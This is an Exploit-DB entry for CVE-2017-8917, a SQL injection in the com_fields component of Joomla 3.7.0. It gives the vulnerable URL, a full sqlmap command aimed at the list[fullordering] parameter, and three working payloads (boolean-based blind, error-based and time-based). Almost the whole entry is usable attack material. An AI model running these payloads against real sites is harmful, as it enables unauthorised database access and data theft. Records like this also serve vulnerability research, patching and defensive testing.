Joomla 3.7.0 - 'com_fields' SQL Injection

EDB-ID: 42033
Author: Mateus Lino
Published: 2017-05-19
CVE: CVE-2017-8917
Type: Webapps
Platform: PHP
Aliases: N/A
Advisory/Source: N/A
Tags: SQL Injection (SQLi)
Vulnerable App: N/A

 # Date: 05-19-2017 
# Exploit Author: Mateus Lino
# Reference: https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html
# Vendor Homepage: https://www.joomla.org/
# Version: = 3.7.0
# Tested on: Win, Kali Linux x64, Ubuntu, Manjaro and Arch Linux
# CVE : - CVE-2017-8917


URL Vulnerable: http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27


Using Sqlmap:

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]


Parameter: list[fullordering] (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (DUAL)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (1573=1573) THEN 1573 ELSE 1573*(SELECT 1573 FROM DUAL UNION SELECT 9674 FROM DUAL) END)

Type: error-based
Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 6600 FROM(SELECT COUNT(*),CONCAT(0x7171767071,(SELECT (ELT(6600=6600,1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT * FROM (SELECT(SLEEP(5)))GDiu)

Related Posts

Comments